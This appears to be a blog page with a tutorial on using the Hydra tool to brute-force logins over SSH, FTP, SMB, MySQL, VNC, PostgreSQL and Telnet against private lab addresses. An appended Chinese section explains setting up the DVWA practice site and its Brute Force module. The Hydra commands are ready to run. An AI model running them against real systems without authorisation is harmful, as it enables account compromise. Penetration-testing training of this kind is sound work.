Hydra – Brute Force Techniques

本文介绍如何使用Hydra这一强大的认证暴力破解工具针对多种协议和服务进行登录破解。涵盖SSH、FTP、SMB、MySQL等服务的示例,展示基本用法及支持的服务列表。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Hydra is a powerful authentication brute forcing tools for many protocols and services. In this tutorial, I will be showing how to brute force logins for several remote systems.

Basic Hydra usage
hydra <Username options> <Password options> <Options> <IP Address> <Protocol> -V -f

Supported Services
adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Options
-l  Single Username
-L Username list
-p Password
-P Password list
-t Limit concurrent connections
-V Verbose output
-f Stop on correct login
-s Port

In the examples below, you will see the service, Command, and an example screenshot.
Found credentials will be in green.

SSH
hydra -L usernames.txt -P passwords.txt 192.168.2.66 ssh -V

FTP
hydra -L usernames.txt -P passwords.txt 192.168.2.62 ftp -V -f

SMB
hydra -L usernames.txt -P passwords.txt 192.168.2.66 smb -V -f

MySQL
hydra -L usernames.txt -P passwords.txt 192.168.2.66 mysql -V -f

Note: MySQL did not have a password set. I had to add a blank line in the password list.

VNC
hydra -P passwords.txt 192.168.2.62 vnc -V

Note: VNC does not utilize a username and is not included in the command.

Postgresql
hydra -L usernames.txt -P passwords.txt 192.168.2.62 postgres -V

Telnet
hydra -L usernames.txt -P passwords.txt 192.168.2.62 telnet -V

 

搭建DVWA(Damn Vulnerable Web Application)实验靶场是一个很好的学习渗透测试和网络安全的方法。以下是搭建DVWA实验靶场并选择low级别进行Brute Force攻击的步骤: ### 1. 环境准备 确保你的系统已经安装了以下软件: - Apache或Nginx(Web服务器) - MySQL或MariaDB(数据库服务器) - PHP(脚本语言) ### 2. 下载DVWA 从GitHub上下载DVWA源码: ```bash git clone https://github.com/digininja/DVWA.git ``` ### 3. 配置DVWA 1. 将下载的DVWA文件夹移动到Web服务器的根目录,例如`/var/www/html`。 2. 进入DVWA目录,复制`config/config.inc.php.dist`文件并重命名为`config.inc.php`。 ```bash cd DVWA/config cp config.inc.php.dist config.inc.php ``` 3. 编辑`config.inc.php`文件,配置数据库连接信息: ```php $_DVWA = array(); $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'password'; ``` ### 4. 创建数据库 1. 登录MySQL: ```bash mysql -u root -p ``` 2. 创建一个新的数据库: ```sql CREATE DATABASE dvwa; ``` 3. 创建一个新的MySQL用户并授予权限: ```sql CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost'; FLUSH PRIVILEGES; EXIT; ``` ### 5. 配置Web服务器 确保Web服务器配置正确,指向DVWA目录。 ### 6. 启动Web服务器和数据库 启动Apache/Nginx和MySQL/MariaDB服务: ```bash sudo service apache2 start sudo service mysql start ``` ### 7. 配置DVWA 1. 在浏览器中访问`http://localhost/DVWA/setup.php`。 2. 点击“Create/Reset Database”按钮创建数据库表。 ### 8. 登录DVWA 使用默认的DVWA凭证登录: - 用户名:admin - 密码:password ### 9. 选择low级别进行Brute Force 1. 登录后,在DVWA界面左上角选择“DVWA Security”。 2. 将安全级别设置为“low”。 3. 返回主界面,选择“Brute Force”模块。 ### 10. 进行Brute Force攻击 1. 在Brute Force模块中,输入一个存在的用户名和猜测的密码。 2. 使用工具(如Hydra或Burp Suite)进行自动化攻击。 通过以上步骤,你可以成功搭建DVWA实验靶场并选择low级别进行Brute Force攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值